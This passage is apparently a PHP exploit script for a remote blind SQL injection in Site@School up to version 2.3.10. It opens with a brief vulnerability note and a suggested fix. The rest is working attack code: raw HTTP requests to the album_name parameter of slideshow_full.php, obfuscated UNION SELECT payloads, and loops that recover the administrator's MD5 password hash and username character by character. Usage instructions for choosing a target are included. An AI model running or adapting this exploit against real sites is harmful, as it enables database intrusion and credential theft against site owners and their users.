"; 157. $title[$i] = $descr; $album_name parameter isn't properly checked, this results in a sql injection at line 128...an attacker could be inject other sql code in the third filed of the query to results in another sql injection al line 151, but explode() function at line 140 will split the injected code by comma (","), so this is only a blind sql injection! [-] To retrieve the table prefix see error at: http://[host]/[path]/starnet/addons/slideshow_full.php?album_name=' [*] Possible bug fix: 53. if (IsSet ($_GET['album_name'])) 54. { 55. $album_name = addslashes($_GET['album_name']); 56. $album_name = htmlspecialchars(strip_tags($album_name)); //remove html tags 57. } */ error_reporting(0); ini_set("default_socket_timeout",5); set_time_limit(0); function http_send($host, $packet) { $sock = fsockopen($host, 80); while (!$sock) { print "\n[-] No response from {$host}:80 Trying again...\n"; $sock = fsockopen($host,$port); } fputs($sock, $packet); while (!feof($sock)) $resp .= fread($sock, 1); fclose($sock); return $resp; } function check_query($sql) { global $host, $path; $packet = "GET {$path}starnet/addons/slideshow_full.php?album_name={$sql} HTTP/1.0\r\n"; $packet .= "Host: {$host}\r\n"; $packet .= "Connection: close\r\n\r\n"; $html = http_send($host, $packet); return preg_match("/warning/i", $html); } function check_target() { global $host, $path; print "\n[-] Checking {$host}..."; $packet = "GET {$path}starnet/addons/slideshow_full.php?album_name=' HTTP/1.0\r\n"; $packet .= "Host: {$host}\r\n"; $packet .= "Connection: close\r\n\r\n"; $html = http_send($host, $packet); if (preg_match("/'''/", $html)) print " OK!\n"; else die("\n\n[-] Exploit failed...probably magic_quotes_gpc = on\n"); } print "\n+------------------------------------------------------------------+"; print "\n| Site@School <= 2.3.10 Remote Blind SQL Injection Exploit by EgiX |"; print "\n+------------------------------------------------------------------+\n"; if ($argc < 3) { print "\nUsage...: php $argv[0] host path [userid] [prefix]\n"; print "\nhost....: target server (ip/hostname)"; print "\npath....: path to sas directory"; print "\nuserid..: user id (default: 1 - admin)"; print "\nprefix..: table's prefix (default: sn)\n"; die(); } $host = $argv[1]; $path = $argv[2]; $uid = (isset($argv[3]) ? $argv[3] : "1"); $pre = (isset($argv[4]) ? $argv[4] : "sn"); check_target(); $hash = array(0, 48, 49, 50, 51, 52, 53, 54, 55, 56, 57, 97, 98, 99, 100, 101, 102); $index = 1; $md5 = ""; print "\n[-] MD5 Hash: "; while (!strpos($md5, chr(0))) { for ($i = 0, $n = count($hash); $i <= $n; $i++) { if ($i == $n) die("\n\n[-] Exploit failed...\n"); $sql = "-1'/**/UNION/**/SELECT/**/password,1,1/**/FROM/**/{$pre}_users/**/WHERE/**/" . "id={$uid}/**/AND/**/ORD(SUBSTR(password,{$index},1))={$hash[$i]}/*"; if (check_query($sql)) { $md5 .= chr($hash[$i]); print chr($hash[$i]); break; } } $index++; } $char = array(0); // null char for ($j = 97; $j <= 122; $j++) $char = array_merge($char, array($j)); // a-z for ($j = 65; $j <= 90; $j++) $char = array_merge($char, array($j)); // A-Z for ($j = 48; $j <= 57; $j++) $char = array_merge($char, array($j)); // 0-9 $index = 1; $user = ""; print "\n[-] Username: "; while (!strpos($user, chr(0))) { for ($i = 0, $n = count($char); $i <= $n; $i++) { if ($i == $n) die("\n\n[-] Exploit failed...\n"); $sql = "-1'/**/UNION/**/SELECT/**/username,1,1/**/FROM/**/{$pre}_users/**/WHERE/**/" . "id={$uid}/**/AND/**/ORD(SUBSTR(username,{$index},1))={$char[$i]}/*"; if (check_query($sql)) { $user .= chr($char[$i]); print chr($char[$i]); break; } } $index++; } print "\n\n[-] Successfull!\n"; ?>